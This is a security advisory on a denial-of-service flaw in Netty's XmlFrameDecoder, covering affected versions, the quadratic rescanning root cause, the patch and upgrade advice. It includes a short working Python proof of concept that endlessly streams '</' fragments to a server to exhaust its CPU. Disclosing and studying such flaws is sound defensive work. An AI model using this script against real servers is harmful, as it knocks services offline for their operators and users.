high · 7.5Jul 24, 2026

netty-codec-xml XmlFrameDecoder Denial of Service via CPU Exhaustion

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Netty's XML frame decoder can be tricked into burning 100% CPU on a single EventLoop thread by trickling in a stream of malformed closing-tag fragments, making any server using it permanently…

Packageio.netty:netty-codec-xml
Ecosystemmaven
Affected>= 4.2.0.Final, <= 4.2.15.Final
Fixed in4.2.16.Final
netty-codec-xml XmlFrameDecoder Denial of Service via CPU Exhaustion

The problem

XmlFrameDecoder in netty-codec-xml (4.2.0.Final through 4.2.15.Final, and the 4.1.x line before 4.1.136.Final) parses incoming bytes looking for complete XML frames. When it sees < followed by /, it scans forward in the accumulated buffer hunting for the matching >.

The critical flaw is that the decoder saves no scan position between decode() calls. Every new packet restarts the search from the beginning of the buffer. An attacker who trickle-feeds </ pairs forces the decoder to rescan an ever-growing buffer on every read, creating O(n^2) CPU work.

With a 1 MB maxFrameLength, a modest stream of malformed data is enough to permanently peg the EventLoop thread.

Proof of concept

A working proof-of-concept for this issue in io.netty:netty-codec-xml, with the exact payload below.

python
# Python PoC: trickle-feed </  pairs to exhaust the XmlFrameDecoder EventLoop thread
import socket, time

HOST = "target.example.com"
PORT = 9000          # port backed by XmlFrameDecoder pipeline
CHUNK = b"</" * 512  # 1 KB of closing-tag openers, no closing >

with socket.create_connection((HOST, PORT)) as s:
    # Send chunks slowly so the buffer accumulates and each decode()
    # re-scans the entire growing buffer from byte 0.
    while True:
        s.sendall(CHUNK)
        time.sleep(0.05)  # ~20 KB/s is enough to saturate one EventLoop thread

The root cause is stateless scanning: the pre-patch XmlFrameDecoder.decode() always began its closing-tag search at buffer.readerIndex(), so every new byte appended to the cumulative buffer caused a full re-scan of everything already seen. This is classic O(n^2) algorithmic complexity (CWE-400).

The patch, introduced in commits 5b68c61 and bb2ff68 via PRs #17063 and #17065, adds a persistent scan-position cursor saved across decode() invocations. The decoder now resumes where it left off, reducing each invocation to O(new bytes only) and eliminating the quadratic blowup entirely.

The fix

Upgrade to **netty-codec-xml 4.2.16.Final** (4.x users: **4.1.136.Final**). No configuration workaround exists for unpatched versions; the only mitigation is to place a strict connection-level byte-rate limiter or a firewall rule in front of any port running an XmlFrameDecoder pipeline.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research